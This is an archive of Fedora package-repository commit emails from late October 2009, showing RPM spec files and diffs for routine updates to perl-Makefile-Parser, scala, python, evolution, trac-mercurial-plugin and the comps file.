Requires:       perl(:MODULE_COMPAT_%(eval "`%{__perl} -V:version`"; echo $version))

%description
This is a simple parser for Makefiles. At this very early stage, the parser
only supports a limited set of features, so it may not recognize most of
the advanced features provided by certain make tools like GNU make. Its
initial purpose is to provide basic support for another module named
Makefile::GraphViz, which is aimed to render the building process specified
by a Makefile using the amazing GraphViz library. The Make module is not
satisfactory for this purpose, so I decided to build one of my own.

%prep
%setup -q -n Makefile-Parser-%{version}

%build
%{__perl} Makefile.PL INSTALLDIRS=vendor
make %{?_smp_mflags}

%install
rm -rf $RPM_BUILD_ROOT

make pure_install PERL_INSTALL_ROOT=$RPM_BUILD_ROOT

find $RPM_BUILD_ROOT -type f -name .packlist -exec rm -f {} \;
find $RPM_BUILD_ROOT -depth -type d -exec rmdir {} 2>/dev/null \;

%{_fixperms} $RPM_BUILD_ROOT/*

%check
make test

%clean
rm -rf $RPM_BUILD_ROOT

%files
%defattr(-,root,root,-)
%doc Changes README
%{perl_vendorlib}/*
%{_mandir}/man3/*
%{_mandir}/man1/*
%{_bindir}/makesimple
%{_bindir}/pgmake-db
%{_bindir}/plmake

%changelog
* Mon Sep 07 2009 Scott Radvan <sradvan at redhat.com> 0.211-1
- Specfile autogenerated by cpanspec 1.78.


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/perl-Makefile-Parser/F-11/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	29 Oct 2009 02:41:40 -0000	1.1
+++ .cvsignore	30 Oct 2009 01:53:39 -0000	1.2
@@ -0,0 +1 @@
+Makefile-Parser-0.211.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/perl-Makefile-Parser/F-11/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	29 Oct 2009 02:41:40 -0000	1.1
+++ sources	30 Oct 2009 01:53:39 -0000	1.2
@@ -0,0 +1 @@
+61498e0db530090d84e757db0824fbdc  Makefile-Parser-0.211.tar.gz



From nb at fedoraproject.org  Fri Oct 30 01:55:22 2009
From: nb at fedoraproject.org (Nick Bebout)
Date: Fri, 30 Oct 2009 01:55:22 +0000 (UTC)
Subject: rpms/perl-Makefile-Parser/F-12 perl-Makefile-Parser.spec, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091030015522.C317C11C00EF@cvs1.fedora.phx.redhat.com>

Author: nb

Update of /cvs/pkgs/rpms/perl-Makefile-Parser/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28945

Modified Files:
	.cvsignore sources 
Added Files:
	perl-Makefile-Parser.spec 
Log Message:
Build perl-Makefile-Parser


--- NEW FILE perl-Makefile-Parser.spec ---
Name:           perl-Makefile-Parser
Version:        0.211
Release:        1%{?dist}
Summary:        Simple parser for Makefiles
License:        GPL+ or Artistic
Group:          Development/Libraries
URL:            http://search.cpan.org/dist/Makefile-Parser/
Source0:        http://www.cpan.org/authors/id/A/AG/AGENT/Makefile-Parser-%{version}.tar.gz
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
BuildArch:      noarch
BuildRequires:  perl >= 1:5.6.1
BuildRequires:  perl(Class::Accessor::Fast)
BuildRequires:  perl(Class::Trigger) >= 0.13
BuildRequires:  perl(ExtUtils::MakeMaker)
BuildRequires:  perl(File::Slurp)
BuildRequires:  perl(IPC::Run3) >= 0.036
BuildRequires:  perl(List::MoreUtils)
BuildRequires:  perl(Makefile::DOM) >= 0.003
BuildRequires:  perl(Test::More)
BuildRequires:  perl(Text::Balanced)
Requires:       perl(Class::Accessor::Fast)
Requires:       perl(Class::Trigger) >= 0.13
Requires:       perl(File::Slurp)
Requires:       perl(List::MoreUtils)
Requires:       perl(Makefile::DOM) >= 0.003
Requires:       perl(Text::Balanced)
Requires:       perl(:MODULE_COMPAT_%(eval "`%{__perl} -V:version`"; echo $version))

%description
This is a simple parser for Makefiles. At this very early stage, the parser
only supports a limited set of features, so it may not recognize most of
the advanced features provided by certain make tools like GNU make. Its
initial purpose is to provide basic support for another module named
Makefile::GraphViz, which is aimed to render the building process specified
by a Makefile using the amazing GraphViz library. The Make module is not
satisfactory for this purpose, so I decided to build one of my own.

%prep
%setup -q -n Makefile-Parser-%{version}

%build
%{__perl} Makefile.PL INSTALLDIRS=vendor
make %{?_smp_mflags}

%install
rm -rf $RPM_BUILD_ROOT

make pure_install PERL_INSTALL_ROOT=$RPM_BUILD_ROOT

find $RPM_BUILD_ROOT -type f -name .packlist -exec rm -f {} \;
find $RPM_BUILD_ROOT -depth -type d -exec rmdir {} 2>/dev/null \;

%{_fixperms} $RPM_BUILD_ROOT/*

%check
make test

%clean
rm -rf $RPM_BUILD_ROOT

%files
%defattr(-,root,root,-)
%doc Changes README
%{perl_vendorlib}/*
%{_mandir}/man3/*
%{_mandir}/man1/*
%{_bindir}/makesimple
%{_bindir}/pgmake-db
%{_bindir}/plmake

%changelog
* Mon Sep 07 2009 Scott Radvan <sradvan at redhat.com> 0.211-1
- Specfile autogenerated by cpanspec 1.78.


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/perl-Makefile-Parser/F-12/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	29 Oct 2009 02:41:40 -0000	1.1
+++ .cvsignore	30 Oct 2009 01:55:21 -0000	1.2
@@ -0,0 +1 @@
+Makefile-Parser-0.211.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/perl-Makefile-Parser/F-12/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	29 Oct 2009 02:41:40 -0000	1.1
+++ sources	30 Oct 2009 01:55:21 -0000	1.2
@@ -0,0 +1 @@
+61498e0db530090d84e757db0824fbdc  Makefile-Parser-0.211.tar.gz



From tagoh at fedoraproject.org  Fri Oct 30 02:13:47 2009
From: tagoh at fedoraproject.org (Akira TAGOH)
Date: Fri, 30 Oct 2009 02:13:47 +0000 (UTC)
Subject: comps comps-f12.xml.in,1.175,1.176
Message-ID: <20091030021347.39FF211C00EF@cvs1.fedora.phx.redhat.com>

Author: tagoh

Update of /cvs/pkgs/comps
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv385

Modified Files:
	comps-f12.xml.in 
Log Message:
renamed knm_new-fonts to knm-new-fixed-fonts


Index: comps-f12.xml.in
===================================================================
RCS file: /cvs/pkgs/comps/comps-f12.xml.in,v
retrieving revision 1.175
retrieving revision 1.176
diff -u -p -r1.175 -r1.176
--- comps-f12.xml.in	29 Oct 2009 19:17:49 -0000	1.175
+++ comps-f12.xml.in	30 Oct 2009 02:13:45 -0000	1.176
@@ -3980,7 +3980,7 @@
       <packagereq type="optional">ghostscript-fonts</packagereq>
       <packagereq type="optional">japanese-bitmap-fonts</packagereq>
       <packagereq type="optional">jisksp16-1990-fonts</packagereq>
-      <packagereq type="optional">knm_new-fonts</packagereq>
+      <packagereq type="optional">knm-new-fixed-fonts</packagereq>
       <packagereq type="optional">libdockapp-fonts</packagereq>
       <packagereq type="optional">lyx-cmex10-fonts</packagereq>
       <packagereq type="optional">lyx-cmmi10-fonts</packagereq>



From toshio at fedoraproject.org  Fri Oct 30 02:56:36 2009
From: toshio at fedoraproject.org (=?utf-8?b?VG9zaGlvIOOBj+OCieOBqOOBvw==?=)
Date: Fri, 30 Oct 2009 02:56:36 +0000 (UTC)
Subject: rpms/trac-mercurial-plugin/EL-5 .cvsignore, 1.2, 1.3 sources, 1.3, 
	1.4 trac-mercurial-plugin.spec, 1.3, 1.4
Message-ID: <20091030025636.8A47C11C00CB@cvs1.fedora.phx.redhat.com>

Author: toshio

Update of /cvs/pkgs/rpms/trac-mercurial-plugin/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8909

Modified Files:
	.cvsignore sources trac-mercurial-plugin.spec 
Log Message:

* Thu Oct 29 2009 Toshio Kuratomi <toshio at fedoraproject.org> - 0.10.0.3-2.20091029svn8367
- Updated to svn revision 8367 for fix to work with more recent hg



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/trac-mercurial-plugin/EL-5/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	6 May 2009 17:02:06 -0000	1.2
+++ .cvsignore	30 Oct 2009 02:56:34 -0000	1.3
@@ -1 +1 @@
-TracMercurial-0.10.0.3.tar.gz
+TracMercurial-0.10.0.3.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/trac-mercurial-plugin/EL-5/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	6 May 2009 17:02:06 -0000	1.3
+++ sources	30 Oct 2009 02:56:34 -0000	1.4
@@ -1 +1 @@
-eb94ce479b07f6b9b7c3dad6958269e6  TracMercurial-0.10.0.3.tar.gz
+a896029bd00e5e45c1de47b19750c4e2  TracMercurial-0.10.0.3.tar.bz2


Index: trac-mercurial-plugin.spec
===================================================================
RCS file: /cvs/pkgs/rpms/trac-mercurial-plugin/EL-5/trac-mercurial-plugin.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- trac-mercurial-plugin.spec	6 May 2009 17:02:06 -0000	1.3
+++ trac-mercurial-plugin.spec	30 Oct 2009 02:56:34 -0000	1.4
@@ -1,21 +1,19 @@
-# sitelib for noarch packages, sitearch for others (remove the unneeded one)
-%{!?python_sitelib: %define python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}
+%{!?python_sitelib: %global python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}
 
-
-%define svnrev 8179
+%global svnrev 8367
 
 Name:           trac-mercurial-plugin
 Version:        0.10.0.3
-Release:        1.20080318svn%{svnrev}%{?dist}
+Release:        2.20091029svn%{svnrev}%{?dist}
 Summary:        Mercurial plugin for Trac
 
 Group:          Applications/Internet
-License:        GPL
+License:        GPL+
 URL:            http://trac.edgewall.org/wiki/TracMercurial
 # Source comes from SVN right now: svn co -r %{svnrev} http://svn.edgewall.com/repos/trac/sandbox/mercurial-plugin/; \
 #                                  cd mercurial-plugin; \
-#                                  python setup.py sdist --formats gztar
-Source0:        TracMercurial-%{version}.tar.gz
+#                                  python setup.py sdist --formats bztar
+Source0:        TracMercurial-%{version}.tar.bz2
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildArch:      noarch
@@ -55,6 +53,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Thu Oct 29 2009 Toshio Kuratomi <toshio at fedoraproject.org> - 0.10.0.3-2.20091029svn8367
+- Updated to svn revision 8367 for fix to work with more recent hg
+
 * Wed May 06 2009 Mike McGrath <mmcgrath at redhat.com> - 0.10.0.3-20080318svn8179
 - Updated to svn revision 8179
 



From geoff at fedoraproject.org  Fri Oct 30 03:03:40 2009
From: geoff at fedoraproject.org (Geoffrey Reedy)
Date: Fri, 30 Oct 2009 03:03:40 +0000 (UTC)
Subject: rpms/scala/devel .cvsignore, 1.8, 1.9 scala.spec, 1.15, 1.16 sources,
	1.8, 1.9
Message-ID: <20091030030340.9364A11C00CB@cvs1.fedora.phx.redhat.com>

Author: geoff

Update of /cvs/pkgs/rpms/scala/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10567

Modified Files:
	.cvsignore scala.spec sources 
Log Message:
* Thu Oct 29 2009 Geoff Reedy <geoff at programmer-monk.net> - 2.7.7-1
- Update to upstream 2.7.7 release



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/scala/devel/.cvsignore,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- .cvsignore	20 Sep 2009 05:17:08 -0000	1.8
+++ .cvsignore	30 Oct 2009 03:03:38 -0000	1.9
@@ -1,3 +1,4 @@
 fjbg-r17392.tar.bz2
 msil-2.7.5.final.tar.bz2
 scala-2.7.5.final-sources.tgz
+scala-2.7.7.final-sources.tgz


Index: scala.spec
===================================================================
RCS file: /cvs/pkgs/rpms/scala/devel/scala.spec,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -p -r1.15 -r1.16
--- scala.spec	20 Sep 2009 05:17:08 -0000	1.15
+++ scala.spec	30 Oct 2009 03:03:39 -0000	1.16
@@ -1,5 +1,5 @@
 Name:           scala
-Version:        2.7.5
+Version:        2.7.7
 %define fullversion %{version}.final
 Release:        1%{?dist}
 Summary:        A hybrid functional/object-oriented language for the JVM
@@ -13,7 +13,7 @@ URL:            http://www.scala-lang.or
 # Source
 Source0:        http://www.scala-lang.org/downloads/distrib/files/scala-%{fullversion}-sources.tgz
 
-%define msilversion %{fullversion}
+%define msilversion 2.7.5.final
 # Exported from upstream vcs
 #   svn export http://lampsvn.epfl.ch/svn-repos/scala/msil/tags/R_2_7_5_final msil-2.7.5.final
 #   tar cjf msil-2.7.5.final.tar.bz2 msil-2.7.5.final
@@ -220,6 +220,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/scala/examples
 
 %changelog
+* Thu Oct 29 2009 Geoff Reedy <geoff at programmer-monk.net> - 2.7.7-1
+- Update to upstream 2.7.7 release
+
 * Sat Sep 19 2009 Geoff Reedy <geoff at programmer-monk.net> - 2.7.5-1
 - Update to upstream 2.7.5 release
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/scala/devel/sources,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- sources	20 Sep 2009 05:17:09 -0000	1.8
+++ sources	30 Oct 2009 03:03:39 -0000	1.9
@@ -1,3 +1,3 @@
 ddf94b7fa410753bd3236c4184804b37  fjbg-r17392.tar.bz2
 35d4023e00097fdbc3ba8716f84b1599  msil-2.7.5.final.tar.bz2
-380d49e7dd02344eb3a7b0c729107127  scala-2.7.5.final-sources.tgz
+3692a6ac7523b21302901a24016a3f4c  scala-2.7.7.final-sources.tgz



From dmalcolm at fedoraproject.org  Fri Oct 30 03:14:06 2009
From: dmalcolm at fedoraproject.org (dmalcolm)
Date: Fri, 30 Oct 2009 03:14:06 +0000 (UTC)
Subject: rpms/python/devel python.spec,1.153,1.154
Message-ID: <20091030031406.D4C6C11C00CB@cvs1.fedora.phx.redhat.com>

Author: dmalcolm

Update of /cvs/pkgs/rpms/python/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12493

Modified Files:
	python.spec 
Log Message:
"Makefile" and the config-32/64.h file are needed by distutils/sysconfig.py
_init_posix(), so we include them in the core package, along with their parent
directories (bug 531901)



Index: python.spec
===================================================================
RCS file: /cvs/pkgs/rpms/python/devel/python.spec,v
retrieving revision 1.153
retrieving revision 1.154
diff -u -p -r1.153 -r1.154
--- python.spec	27 Oct 2009 07:57:25 -0000	1.153
+++ python.spec	30 Oct 2009 03:14:04 -0000	1.154
@@ -22,7 +22,7 @@
 Summary: An interpreted, interactive, object-oriented programming language
 Name: %{python}
 Version: 2.6.4
-Release: 1%{?dist}
+Release: 2%{?dist}
 License: Python
 Group: Development/Languages
 Provides: python-abi = %{pybasever}
@@ -487,6 +487,14 @@ rm -fr $RPM_BUILD_ROOT
 %attr(0755,root,root) %dir /usr/lib/python%{pybasever}/site-packages
 %endif
 
+# "Makefile" and the config-32/64.h file are needed by
+# distutils/sysconfig.py:_init_posix(), so we include them in the core
+# package, along with their parent directories (bug 531901):
+%dir %{_libdir}/python%{pybasever}/config
+%{_libdir}/python%{pybasever}/config/Makefile
+%dir /usr/include/python%{pybasever}
+/usr/include/python%{pybasever}/%{_pyconfig_h}
+
 %files libs
 %defattr(-,root,root)
 %doc LICENSE README
@@ -494,9 +502,11 @@ rm -fr $RPM_BUILD_ROOT
 
 %files devel
 %defattr(-,root,root)
-/usr/include/*
+%{_libdir}/python%{pybasever}/config/*
+%exclude %{_libdir}/python%{pybasever}/config/Makefile
+/usr/include/python%{pybasever}/*.h
+%exclude /usr/include/python%{pybasever}/%{_pyconfig_h}
 %doc Misc/README.valgrind Misc/valgrind-python.supp Misc/gdbinit
-%dir %{_libdir}/python%{pybasever}/config
 %{_bindir}/python-config
 %{_bindir}/python2.6-config
 %{_libdir}/python%{pybasever}/config/*
@@ -538,6 +548,11 @@ rm -fr $RPM_BUILD_ROOT
 %{_libdir}/python%{pybasever}/lib-dynload/_testcapimodule.so
 
 %changelog
+* Thu Oct 29 2009 David Malcolm <dmalcolm at redhat.com> - 2.6.4-2
+- "Makefile" and the config-32/64.h file are needed by distutils/sysconfig.py
+_init_posix(), so we include them in the core package, along with their parent
+directories (bug 531901)
+
 * Mon Oct 26 2009 David Malcolm <dmalcolm at redhat.com> - 2.6.4-1
 - Update to 2.6.4
 



From geoff at fedoraproject.org  Fri Oct 30 03:14:13 2009
From: geoff at fedoraproject.org (Geoffrey Reedy)
Date: Fri, 30 Oct 2009 03:14:13 +0000 (UTC)
Subject: rpms/scala/F-12 .cvsignore, 1.8, 1.9 scala.spec, 1.15, 1.16 sources,
	1.8, 1.9
Message-ID: <20091030031413.A037411C00CB@cvs1.fedora.phx.redhat.com>

Author: geoff

Update of /cvs/pkgs/rpms/scala/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12548

Modified Files:
	.cvsignore scala.spec sources 
Log Message:
* Thu Oct 29 2009 Geoff Reedy <geoff at programmer-monk.net> - 2.7.7-1
- Update to upstream 2.7.7 release



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/scala/F-12/.cvsignore,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- .cvsignore	20 Sep 2009 05:17:08 -0000	1.8
+++ .cvsignore	30 Oct 2009 03:14:13 -0000	1.9
@@ -1,3 +1,4 @@
 fjbg-r17392.tar.bz2
 msil-2.7.5.final.tar.bz2
 scala-2.7.5.final-sources.tgz
+scala-2.7.7.final-sources.tgz


Index: scala.spec
===================================================================
RCS file: /cvs/pkgs/rpms/scala/F-12/scala.spec,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -p -r1.15 -r1.16
--- scala.spec	20 Sep 2009 05:17:08 -0000	1.15
+++ scala.spec	30 Oct 2009 03:14:13 -0000	1.16
@@ -1,5 +1,5 @@
 Name:           scala
-Version:        2.7.5
+Version:        2.7.7
 %define fullversion %{version}.final
 Release:        1%{?dist}
 Summary:        A hybrid functional/object-oriented language for the JVM
@@ -13,7 +13,7 @@ URL:            http://www.scala-lang.or
 # Source
 Source0:        http://www.scala-lang.org/downloads/distrib/files/scala-%{fullversion}-sources.tgz
 
-%define msilversion %{fullversion}
+%define msilversion 2.7.5.final
 # Exported from upstream vcs
 #   svn export http://lampsvn.epfl.ch/svn-repos/scala/msil/tags/R_2_7_5_final msil-2.7.5.final
 #   tar cjf msil-2.7.5.final.tar.bz2 msil-2.7.5.final
@@ -220,6 +220,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/scala/examples
 
 %changelog
+* Thu Oct 29 2009 Geoff Reedy <geoff at programmer-monk.net> - 2.7.7-1
+- Update to upstream 2.7.7 release
+
 * Sat Sep 19 2009 Geoff Reedy <geoff at programmer-monk.net> - 2.7.5-1
 - Update to upstream 2.7.5 release
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/scala/F-12/sources,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- sources	20 Sep 2009 05:17:09 -0000	1.8
+++ sources	30 Oct 2009 03:14:13 -0000	1.9
@@ -1,3 +1,3 @@
 ddf94b7fa410753bd3236c4184804b37  fjbg-r17392.tar.bz2
 35d4023e00097fdbc3ba8716f84b1599  msil-2.7.5.final.tar.bz2
-380d49e7dd02344eb3a7b0c729107127  scala-2.7.5.final-sources.tgz
+3692a6ac7523b21302901a24016a3f4c  scala-2.7.7.final-sources.tgz



From mbarnes at fedoraproject.org  Fri Oct 30 03:15:31 2009
From: mbarnes at fedoraproject.org (Matthew Barnes)
Date: Fri, 30 Oct 2009 03:15:31 +0000 (UTC)
Subject: rpms/evolution/devel .cvsignore, 1.116.2.27,
	1.116.2.28 evolution-kb-override-version.patch, 1.1.2.4,
	1.1.2.5 evolution.spec, 1.394.2.64, 1.394.2.65 sources,
	1.116.2.32, 1.116.2.33
Message-ID: <20091030031531.35D4411C00CB@cvs1.fedora.phx.redhat.com>

Author: mbarnes

Update of /cvs/pkgs/rpms/evolution/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12784

Modified Files:
      Tag: private-mbarnes-kb
	.cvsignore evolution-kb-override-version.patch evolution.spec 
	sources 
Log Message:

* Thu Oct 29 2009 Matthew Barnes <mbarnes at redhat.com> - 2.28.99-1.kb.4.fc12
- Snapshot of "kill-bonobo" progress at commit adadf13.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/evolution/devel/.cvsignore,v
retrieving revision 1.116.2.27
retrieving revision 1.116.2.28
diff -u -p -r1.116.2.27 -r1.116.2.28
--- .cvsignore	29 Sep 2009 11:36:21 -0000	1.116.2.27
+++ .cvsignore	30 Oct 2009 03:15:29 -0000	1.116.2.28
@@ -1 +1 @@
-evolution-2.29.1-kill-bonobo-2fa61f4.tar.bz2
+evolution-2.29.2-kill-bonobo-adadf13.tar.bz2

evolution-kb-override-version.patch:
 configure.ac |   10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

Index: evolution-kb-override-version.patch
===================================================================
RCS file: /cvs/pkgs/rpms/evolution/devel/Attic/evolution-kb-override-version.patch,v
retrieving revision 1.1.2.4
retrieving revision 1.1.2.5
diff -u -p -r1.1.2.4 -r1.1.2.5
--- evolution-kb-override-version.patch	9 Sep 2009 02:54:29 -0000	1.1.2.4
+++ evolution-kb-override-version.patch	30 Oct 2009 03:15:29 -0000	1.1.2.5
@@ -1,11 +1,11 @@
-diff -up evolution-2.29.1-kill-bonobo-0a47d87/configure.ac.override-version evolution-2.29.1-kill-bonobo-0a47d87/configure.ac
---- evolution-2.29.1-kill-bonobo-0a47d87/configure.ac.override-version	2009-09-08 19:41:23.000000000 -0400
-+++ evolution-2.29.1-kill-bonobo-0a47d87/configure.ac	2009-09-08 22:53:53.636195371 -0400
+diff -up evolution-2.29.2-kill-bonobo-0a47d87/configure.ac.override-version evolution-2.29.2-kill-bonobo-0a47d87/configure.ac
+--- evolution-2.29.2-kill-bonobo-0a47d87/configure.ac.override-version	2009-09-08 19:41:23.000000000 -0400
++++ evolution-2.29.2-kill-bonobo-0a47d87/configure.ac	2009-09-08 22:53:53.636195371 -0400
 @@ -1,7 +1,7 @@
  dnl Evolution Versions
  m4_define([evo_major_version], [2])
 -m4_define([evo_minor_version], [29])
--m4_define([evo_micro_version], [1])
+-m4_define([evo_micro_version], [2])
 +m4_define([evo_minor_version], [27])
 +m4_define([evo_micro_version], [99])
  m4_define([evo_version],
@@ -30,4 +30,4 @@ diff -up evolution-2.29.1-kill-bonobo-0a
 +m4_define([eds_minimum_version], [2.27.1])
  m4_define([gnome_icon_theme_minimum_version], [2.19.91])
  m4_define([gnome_desktop_minimum_version], [2.26.0])
- m4_define([libgtkhtml_minimum_version], [3.27.90])
+ m4_define([libgtkhtml_minimum_version], [3.29.1])


Index: evolution.spec
===================================================================
RCS file: /cvs/pkgs/rpms/evolution/devel/evolution.spec,v
retrieving revision 1.394.2.64
retrieving revision 1.394.2.65
diff -u -p -r1.394.2.64 -r1.394.2.65
--- evolution.spec	29 Sep 2009 12:35:54 -0000	1.394.2.64
+++ evolution.spec	30 Oct 2009 03:15:29 -0000	1.394.2.65
@@ -1,5 +1,5 @@
 # This is an unofficial RPM for testing Evolution's kill-bonobo branch.
-%define hash 2fa61f4
+%define hash adadf13
 
 %define dbus_glib_version 0.70
 %define dbus_version 1.0
@@ -45,13 +45,13 @@
 
 Name: evolution
 Version: 2.28.99
-Release: 1.kb.3%{?dist}
+Release: 1.kb.4%{?dist}
 Group: Applications/Productivity
 Summary: Mail and calendar client for GNOME
 License: GPLv2+ and GFDL
 URL: http://projects.gnome.org/evolution/
 BuildRoot: %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
-Source: %{name}-2.29.1-kill-bonobo-%{hash}.tar.bz2
+Source: %{name}-2.29.2-kill-bonobo-%{hash}.tar.bz2
 
 Obsoletes: libgal2 <= %{last_libgal2_version}
 
@@ -222,7 +222,7 @@ Requires: %{name} = %{version}-%{release
 This package contains supplemental utilities for %{name} that require Perl.
 
 %prep
-%setup -q -n %{name}-2.29.1-kill-bonobo-%{hash}
+%setup -q -n %{name}-2.29.2-kill-bonobo-%{hash}
 %patch10 -p1 -b .ldaphack
 %patch11 -p1 -b .fix-conduit-dir
 %patch12 -p1 -b .im-context-reset
@@ -657,6 +657,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_libexecdir}/evolution/%{evo_major}/evolution-addressbook-clean
 
 %changelog
+* Thu Oct 29 2009 Matthew Barnes <mbarnes at redhat.com> - 2.28.99-1.kb.4.fc12
+- Snapshot of "kill-bonobo" progress at commit adadf13.
+
 * Tue Sep 29 2009 Matthew Barnes <mbarnes at redhat.com> - 2.28.99-1.kb.3.fc12
 - Snapshot of "kill-bonobo" progress at commit 2fa61f4.
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/evolution/devel/sources,v
retrieving revision 1.116.2.32
retrieving revision 1.116.2.33
diff -u -p -r1.116.2.32 -r1.116.2.33
--- sources	29 Sep 2009 11:36:22 -0000	1.116.2.32
+++ sources	30 Oct 2009 03:15:29 -0000	1.116.2.33
@@ -1 +1 @@
-6f3e9f57c256b2596df051a6e42ca3b8  evolution-2.29.1-kill-bonobo-2fa61f4.tar.bz2
+a4e70c3dacff4169f9ae4fcc626b7a27  evolution-2.29.2-kill-bonobo-adadf13.tar.bz2



From geoff at fedoraproject.org  Fri Oct 30 03:17:41 2009
From: geoff at fedoraproject.org (Geoffrey Reedy)
Date: Fri, 30 Oct 2009 03:17:41 +0000 (UTC)
Subject: rpms/scala/F-11 .cvsignore, 1.7, 1.8 scala.spec, 1.10, 1.11 sources,
	1.7, 1.8
Message-ID: <20091030031741.A0E1F11C00CB@cvs1.fedora.phx.redhat.com>

Author: geoff

Update of /cvs/pkgs/rpms/scala/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13323

Modified Files:
	.cvsignore scala.spec sources 
Log Message:
* Thu Oct 29 2009 Geoff Reedy <geoff at programmer-monk.net> - 2.7.7-1
- Update to upstream 2.7.7 release



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/scala/F-11/.cvsignore,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- .cvsignore	17 May 2009 04:06:14 -0000	1.7
+++ .cvsignore	30 Oct 2009 03:17:40 -0000	1.8
@@ -1,3 +1,4 @@
 fjbg-r17392.tar.bz2
 scala-2.7.4.final-sources.tgz
 msil-2.7.4.final.tar.bz2
+scala-2.7.7.final-sources.tgz


Index: scala.spec
===================================================================
RCS file: /cvs/pkgs/rpms/scala/F-11/scala.spec,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- scala.spec	19 May 2009 12:46:58 -0000	1.10
+++ scala.spec	30 Oct 2009 03:17:40 -0000	1.11
@@ -1,7 +1,7 @@
 Name:           scala
-Version:        2.7.4
+Version:        2.7.7
 %define fullversion %{version}.final
-Release:        5%{?dist}
+Release:        1%{?dist}
 Summary:        A hybrid functional/object-oriented language for the JVM
 BuildArch:      noarch
 Group:          Development/Languages
@@ -13,7 +13,7 @@ URL:            http://www.scala-lang.or
 # Source
 Source0:        http://www.scala-lang.org/downloads/distrib/files/scala-%{fullversion}-sources.tgz
 
-%define msilversion %{fullversion}
+%define msilversion 2.7.5.final
 # Exported from upstream vcs
 #   svn export http://lampsvn.epfl.ch/svn-repos/scala/msil/tags/R_2_7_4_final msil-2.7.4.final
 #   tar cjf msil-2.7.4.final.tar.bz2 msil-2.7.4.final
@@ -220,6 +220,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/scala/examples
 
 %changelog
+* Thu Oct 29 2009 Geoff Reedy <geoff at programmer-monk.net> - 2.7.7-1
+- Update to upstream 2.7.7 release
+
 * Mon May 18 2009 Geoff Reedy <geoff at programmer-monk.net> - 2.7.4-5
 - fix problem in tooltemplate patch
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/scala/F-11/sources,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- sources	17 May 2009 04:06:14 -0000	1.7
+++ sources	30 Oct 2009 03:17:40 -0000	1.8
@@ -1,3 +1,3 @@
 ddf94b7fa410753bd3236c4184804b37  fjbg-r17392.tar.bz2
-8b79c304517cf378b4ca230366e31ea5  scala-2.7.4.final-sources.tgz
-1524e07ecdcc79b1a73ae8b9d5412cd4  msil-2.7.4.final.tar.bz2
+35d4023e00097fdbc3ba8716f84b1599  msil-2.7.5.final.tar.bz2
+3692a6ac7523b21302901a24016a3f4c  scala-2.7.7.final-sources.tgz



From mclasen at fedoraproject.org  Fri Oct 30 03:32:17 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Fri, 30 Oct 2009 03:32:17 +0000 (UTC)
Subject: rpms/file-roller/F-12 sticky-dnd.patch, NONE, 1.1 file-roller.spec, 
	1.158, 1.159
Message-ID: <20091030033217.75E3311C0376@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/file-roller/F-12
